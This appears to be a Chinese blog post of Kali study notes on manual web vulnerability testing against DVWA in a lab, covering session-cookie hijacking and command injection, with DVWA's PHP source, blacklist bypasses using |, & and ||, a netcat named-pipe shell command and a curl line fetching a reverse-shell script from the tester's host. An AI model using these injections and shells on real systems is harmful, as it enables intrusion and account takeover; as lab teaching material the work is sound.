Kali學習筆記30:手動Web漏洞挖掘(2)
文章的格式也許不是很好看,也沒有什麼合理的順序
完全是想到什麼寫一些什麼,但各個方面都涵蓋到了
能耐下心看的朋友歡迎一起學習,大牛和槓精們請繞道
實驗環境:
Kali機器:192.168.163.132
Metasploitable靶機:192.168.163.129
首先我們要嘗試身份認證(登陸):
就拿DVWA來測試
啟動Burpsuite,訪問DVWA:
假設我們現在不知道這裡的使用者名稱和密碼是多少:
現在我先把密碼故意輸錯:
發現DVWA只是告訴我登陸失敗,卻並沒有告訴我哪裡失敗,為什麼會失敗
說明DVWA在身份認證方面還做得不錯,如果是一些沒有安全意識的程式猿,可能會返回密碼錯誤的介面
然後我們輸入正確的密碼,用Burp進行比較:
發現返回的結果除了重定向頁面和時間基本一致:說明DVWA做的比較好
如果正確和失敗返回的結果有不同之處,那麼我們就可以利用這裡的漏洞來爆破
但是,如果我們想盡辦法還是登陸不上去呢?
這時候可以想象Cookie方面有沒有可以利用的?
如何獲取SessionID:
第一種:XSS,這種後面具體介紹
第二種:通過Get或者Post傳遞的SessionID
做得不好的Web應用,有可能直接把SessionID放在URL上,利用社會工程學獲取後直接就可以利用
稍微有點安全意識的程式猿,會把SessionID利用POST提交,利用嗅探還是可以獲取:
示例:
我用Windows機器作為正常的管理員登陸Metasploitable:
登陸之後,我檢視到Cookie裡面的SessionID:
這裡是做演示的,具體的如何獲取SessionID我會在後邊的過程進行演示
然後我就可以用這裡的Cookie使Kali機器直接以Windows機器的身份來登陸
可以利用Kali的Firefox的Cookie Manager外掛進行Cookie編輯:
當然也可以複製出來SessionID,然後我把它組裝好
讓Kali使用Burp傳送
同時:我們需要更仔細地關注SessionID,它的有效時間,規律等
比如:
點選logout後,sessionID是否會消失
關閉瀏覽器,sessionID是永久小時還是隻改變了狀態
然而SessionID其實本質是演算法生成的,那麼我們就可以使用Burp的Sequence模組來測試
我前面的文章就有提到過,然後就可以針對來生成下一個SessionID,從而做很多的事情
下面,假設我們已經登陸進入了目標:
接下來就可以用我前面文章中寫到的一些自動化掃描工具進行Web漏洞掃描
或者繼續進行手動挖掘:
下面來看第一種漏洞:
命令執行:
我先把DVWA的安全性調到最低
這裡有一個應用:輸入一個IP地址,Ping目標,返回結果
我先演示下這裡的漏洞,下面具體說:
我嘗試輸入ls命令:沒有反應
那麼ls加入分號呢?
結果執行了ls命令
我用Burp來對比兩次的請求:
傳送請求的時候對分號進行了URL編碼
那麼,我們如何去發現命令執行漏洞呢?
首先,我們要了解很多的常見漏洞型別
當有一個可以提交資料的表單時候,就要聯想到是否有可能發現能夠利用的漏洞?
就比如說是這裡:
呼叫作業系統Ping命令而且要返回值,我想到如果用PHP實現比較複雜
那麼有可能是目標直接條用系統命令嗎?如果是偷懶的程式猿有可能會直接來呼叫系統命令
首先我輸入正常的IP,看看結果:
返回值竟然和系統直接Ping命令格式一致
於是我更進一步可以確認,這裡很有可能有命令執行漏洞
首先嚐試直接ls命令,上邊嘗試了,但是沒有結果
那我為什麼後邊又加入了;呢?
然後結合Linux系統的知識:如果想一次執行多條命令,可以使用;或者|
於是,我考慮加入“;”之後再輸入命令:果然
實際中如果發現了這種漏洞,就可以用Burp傳送提權命令等等
檢視原始碼:
<?php if( isset( $_POST[ 'submit' ] ) ) { $target = $_REQUEST[ 'ip' ]; // Determine OS and execute the ping command. if (stristr(php_uname('s'), 'Windows NT')) { $cmd = shell_exec( 'ping ' . $target ); echo '<pre>'.$cmd.'</pre>'; } else { $cmd = shell_exec( 'ping -c 3 ' . $target ); echo '<pre>'.$cmd.'</pre>'; } } ?>
簡單分析:獲取的變數直接給Target複製,然後執行系統命令,存在漏洞
接下來把DVWA的安全性調到中:
這時候如果輸入;ls或者&&符號時候,並不會執行系統命令
檢視原始碼:
<?php if( isset( $_POST[ 'submit'] ) ) { $target = $_REQUEST[ 'ip' ]; // Remove any of the charactars in the array (blacklist). $substitutions = array( '&&' => '', ';' => '', ); $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if (stristr(php_uname('s'), 'Windows NT')) { $cmd = shell_exec( 'ping ' . $target ); echo '<pre>'.$cmd.'</pre>'; } else { $cmd = shell_exec( 'ping -c 3 ' . $target ); echo '<pre>'.$cmd.'</pre>'; } } ?>
仔細觀察後發現原來是把“;”和“&&”特殊符號都變成空字元了(&&表示前一個命令執行成功後執行後一個命令)
然而對嗎漏掉了|這個符號,如果輸入|ls還是可以的
或者使用一個&,Linux中使用一個&代表兩條命令一起執行:
127.0.0.1 & ls
或者使用兩個|,即||,也可以作到,不過需要前一個命令執行失敗,再執行後一個命令:
那麼將DVWA高安全級別呢?
嘗試了各種各樣的字元後發現還是沒有漏洞
檢視原始碼:
<?php if( isset( $_POST[ 'submit' ] ) ) { $target = $_REQUEST["ip"]; $target = stripslashes( $target ); // Split the IP into 4 octects $octet = explode(".", $target); // Check IF each octet is an integer if ((is_numeric($octet[0])) && (is_numeric($octet[1])) && (is_numeric($octet[2])) && (is_numeric($octet[3])) && (sizeof($octet) == 4) ) { // If all 4 octets are int's put the IP back together. $target = $octet[0].'.'.$octet[1].'.'.$octet[2].'.'.$octet[3]; // Determine OS and execute the ping command. if (stristr(php_uname('s'), 'Windows NT')) { $cmd = shell_exec( 'ping ' . $target ); echo '<pre>'.$cmd.'</pre>'; } else { $cmd = shell_exec( 'ping -c 3 ' . $target ); echo '<pre>'.$cmd.'</pre>'; } } else { echo '<pre>ERROR: You have entered an invalid IP</pre>'; } } ?>
它這裡是如何判斷的呢?
收到的資料然後進行拆分,拆分後四個部分如果是數字,再進行組合,生成一個IP
就算了系統命令用.來分割,但是由於不是數字,不會重組
所以調整到高安全級別基本就是安全的一個應用了
回到剛才在低安全級別下的狀態:
我已經找到這裡有命令執行的漏洞了
那麼怎麼做進一步的操作呢?
比如:開啟
mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe
輸入後使用nc連線:得到shell
但是注意:這裡獲得的許可權不是root
最後看一個有趣的現象:
本意:
把Kali系統的反連Shell指令碼複製到Apache伺服器,重新命名為1.php,是目標訪問1.php從而獲得shell
對反連shell進行編輯:設定號反連的IP,比如這裡我設定的是Kali機器
然後啟動Apache服務:
這時候命令執行的表單填寫內容:
;curl http://192.168.163.132/1.php
提交前nc監聽埠,點選按鈕,然後獲取shell:
結果我仔細觀察後發現獲取的是我Kali本機的shell!!
原因:
1.php本質是存在於Kali機器的,所以訪問1.php就會讓Kali機器把shell發出,再讓本機收到shell
上一篇中我把1.php的內容複製出來,用Burp傳送出去,1.php的內容是在目標機器上執行的,與這種情況不一樣
所以要注意:
反連shell指令碼在哪個機器就會反彈哪個機器的shell